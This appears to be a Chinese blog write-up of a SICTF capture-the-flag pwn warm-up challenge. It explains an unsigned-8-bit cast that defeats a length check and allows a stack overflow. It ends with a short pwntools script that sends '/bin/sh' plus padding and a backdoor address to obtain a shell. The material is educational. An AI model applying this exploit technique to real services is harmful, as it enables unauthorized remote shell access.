最近刚开始学习pwn,来复现一下打完的sictf的一道pwn签到题目
题目
![图片[1],sictf-[签到]stack,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240222101323554.png?imageView2/0/format/webp/q/75)
思路
先下载附件,拿到ida里反汇编看一下
![图片[2],sictf-[签到]stack,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240222101511136.png?imageView2/0/format/webp/q/75)
![图片[3],sictf-[签到]stack,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240222101606163.png?imageView2/0/format/webp/q/75)
![图片[4],sictf-[签到]stack,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240222101623193.png?imageView2/0/format/webp/q/75)
![图片[5],sictf-[签到]stack,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240222101913316.png?imageView2/0/format/webp/q/75)
![图片[6],sictf-[签到]stack,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240222101637798.png?imageView2/0/format/webp/q/75)
其中setup函数是初始化的,我们主要看run函数
大致意思就是定义了一个buf数组和nbyte变量,然后先读入nbytes的值,然后read函数根据nbytes的大小来读入buf数组,其中对nbytes有一个检测,不能超过0x40(64),要不然会直接退出,乍一看这个不会导致栈溢出,但是仔细看if语句
![图片[7],sictf-[签到]stack,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240222102924961.png?imageView2/0/format/webp/q/75)
对nbytes有个类型转换,unsigned_int8 是c语言中无符号的8位整数,范围为0-255,如果超过了255则取对256取模的结果作为转换后的结果,而在read函数中传入的是unsigned int,这样我们就可以通过控制nbytes来造成栈溢出,ret跳转到后门函数
后门函数中,
![图片[8],sictf-[签到]stack,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240222103504386.png?imageView2/0/format/webp/q/75)
我们无法控制a1的值,再看run函数,read之后会执行strdup函数
![图片[9],sictf-[签到]stack,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240222103802382.png?imageView2/0/format/webp/q/75)
在64位汇编中,一般用rax寄存器来保存返回值,所以我们rax寄存器会保存字符串的指针
![图片[10],sictf-[签到]stack,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240222104035956.png?imageView2/0/format/webp/q/75)
再看system函数,在调用之前会吧rax寄存器赋值到rdi寄存器,rdi也就是调用函数的第一个参数,这样我们可以把/bin/sh 写入到数组中从而获取shell
exp
先本地找一下偏移量
![图片[11],sictf-[签到]stack,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240222104556630.png?imageView2/0/format/webp/q/75)
88减去/bin/sh\x00也就是80
python脚本
from pwn import *
p=remote("yuanshen.life",40142)
backdoor = 0x4011f4
p.recvuntil(b'length: ')
p.sendline(b'256')
p.recvuntil(b'command: ')
payload=b'/bin/sh\x00'+b'a' * 80+p64(backdoor)
p.send(payload)
p.interactive()
![图片[12],sictf-[签到]stack,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240222104912972.png?imageView2/0/format/webp/q/75)
THE END
- 最新
- 最热
只看作者